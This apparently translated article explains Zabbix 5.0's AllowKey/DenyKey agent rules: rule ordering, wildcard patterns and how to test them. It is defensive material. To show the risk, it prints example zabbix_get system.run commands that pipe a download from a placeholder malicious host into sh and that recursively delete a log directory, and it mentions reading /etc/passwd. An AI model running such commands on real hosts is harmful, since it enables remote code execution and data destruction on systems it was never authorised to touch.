Support for black and white lists for metrics on the agent side in Zabbix 5.0

Support for black and white lists for metrics on the agent side

Tikhon Uskov, Integration Engineer, Zabbix

Data Security Issues

Zabbix 5.0 introduces a new feature that enhances security in systems using Zabbix Agent and replaces the old parameter EnableRemoteCommands.

The enhancement of security in systems using the agent is due to the fact that the agent can perform a large number of potentially dangerous actions.

• The agent can collect virtually any information, including confidential or potentially dangerous data, from configuration files, log files, password files, or any other files.

For example, with the zabbix_get utility, one can access the list of users, their home directories, password files, etc.

Accessing data with the zabbix_get utility

NOTE. Data can only be retrieved if the agent has read permissions for the corresponding file. But, for example, the file /etc/passwd/ is readable by all users.

• The agent can also execute potentially dangerous commands. For example, the key *system.run[]** allows executing any remote commands on network nodes, including running scripts from the Zabbix web interface that also execute commands on the agent side.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• On Linux, the agent runs by default without root privileges, whereas on Windows it runs as a service under System and has unrestricted access to the file system. Consequently, if no changes are made to the Zabbix Agent settings after installation, the agent has access to the registry, file system, and can perform WMI queries.

In earlier versions, the parameter EnableRemoteCommands=0 only allowed disabling metrics with the key *system.run[]** and executing scripts from the web interface, but did not allow restricting access to individual files, allowing or denying specific keys that were set with the agent, or limiting the use of specific parameters.

Using the EnableRemoteCommand parameter in earlier versions of Zabbix

AllowKey/DenyKey

Zabbix 5.0 helps protect against such unauthorized access by implementing white and black lists to allow and deny metrics on the agent side.

In Zabbix 5.0, all keys, including *system.run[]**, are allowed, and two new agent configuration parameters have been added:

AllowKey= — allowed checks;

DenyKey= — denied checks;

where — the key name pattern with parameters, using wildcards (*).

The AllowKey and DenyKey allow enabling or disabling individual metrics based on a specific pattern. Unlike other configuration parameters, there is no limit to the number of AllowKey/DenyKey parameters. This enables a clear definition of what the agent can do in the system by creating a tree of checks — executed keys, where the order of their writing plays a crucial role.

Rules Sequence

Rules are checked in the order they are entered in the configuration file. The key check against the rules occurs until the first match, and as soon as the data item's key matches the pattern, it is allowed or denied. After this, the rule checking stops, and the remaining keys are ignored.

Therefore, if an item matches both an allowing and a denying rule, the result will depend on which rule comes first in the configuration file.

2 different rules with the same pattern and key vfs.file.size[/tmp/file]

Order of using AllowKey/DenyKey:

1. specific rules,
2. general rules,
3. denying rule.

For example, if you need access to files in a specific folder, you must first allow access to them, after which deny everything else that does not fall under the established permissions. If the denying rule is used first, access to the folder will be denied.

Correct sequence

If you need to allow running 2 utilities through *system.run[]**, and the denying rule is specified first, the utilities will not be able to run because the first pattern will always match any key, and subsequent rules will be ignored.

Incorrect sequence

Patterns

Main Rules

A pattern is an expression with wildcards. The wildcard symbol (*) matches any number of any characters at a specific position. Wildcards can be used both in the key name and in parameters. For example, the first parameter can be strictly defined as text, and specify the following as a wildcard.

Parameters must be enclosed in square brackets [].

• system.run[* — incorrect
• vfs.file*.txt] — incorrect
• vfs.file.*[*] — correct

Examples of using wildcard.

1. In the key name and in the parameter. In this case, the key does not match the similar key that does not contain the parameter, because in the pattern we indicated that we want to get a certain ending of the key name and a certain set of parameters.
2. If square brackets are not used in the pattern, the pattern allows all keys that do not contain parameters and denies all keys with the specified parameter.
3. If the key is fully written out, and the parameters are specified as a wildcard, it will match any similar key with any parameters and will not match a key without square brackets, i.e., it will be allowed or denied.

Parameter filling rules.

• If the use of a key with parameters is implied, parameters must be listed in the configuration file. Parameters should be specified as a wildcard. It is necessary to carefully deny access to any file and consider what information the metric can return with various writing options — with parameters and without them.

Features of writing keys with parameters

• If a key is specified with parameters, but the parameters are optional and specified as a wildcard, the key without parameters will be allowed. For example, if you want to deny retrieval of CPU load information and specify that the key system.cpu.load[*] should be denied, remember that the key without parameters will return the average load value.

Parameter filling rules

Notes

Settings

• Some rules cannot be changed by the user, for example, detection (discovery) rules or automatic registration of agents. The AllowKey/DenyKey rules do not affect the following parameters:
  — HostnameItem
  — HostMetadataItem
  — HostInterfaceItem

NOTE. If the administrator denies any key, Zabbix does not provide information on why a metric or key falls into the 'NOTSUPPORTED' category. In the agent log files, information about denials of remote command execution is also not displayed. This is done for security reasons but can complicate debugging if metrics fall into the unsupported category for any reason..

• Do not expect any specific order for including external configuration files (for example, in alphabetical order).

Command-line utilities

After configuring the rules, ensure everything is set up correctly.

You can choose one of three options:

• Add the metric to Zabbix.
• Test using zabbix_agentd. The Zabbix agent with the option -print (-p) displays all keys (that are allowed by default), except those that are disallowed by configuration. And with the option -test (-t) for a disallowed key will return ‘Unsupported item key‘.
• Test using zabbix_get. Utility zabbix_get (see section 6g above there). -k will return ‘ZBX_NOTSUPPORTED: Unknown metric‘.

Allow or deny

You may prohibit access to a file and verify, for instance, using the utility zabbix_get, that access to the file is denied.

**

NOTE. Quotes in the parameter are ignored..

At the same time, access to such a file may be allowed through another path. For example, if it's linked by a symlink.

It is recommended to test various applications of the defined rules, and also consider ways to circumvent the prohibitions.

Questions and answers

Question. Why was such a complex pattern schema with its own language chosen for describing rules, permissions, and prohibitions? Why wasn't it possible to use, for example, regular expressions, which Zabbix uses?

Answer. This is a question of regex performance, as the agent is usually singular and checks a vast number of metrics. Regex is quite a heavy operation, and we cannot check thousands of metrics this way. Wildcards are a universal, widely used, and simple solution..

Question. Don't Include files connect in alphabetical order?

Answer. As far as I know, predicting the order of rule application when distributing rules across different files is practically impossible. I recommend consolidating all AllowKey/DenyKey rules into a single Include file, because they interact with each other, and include that file..

Question. In Zabbix 5.0, the option ‘EnableRemoteCommands=‘ is missing in the configuration file, and only AllowKey/DenyKey are available?

Answer. Yes, that's correct..

Thank you for your attention!

Source: habr.com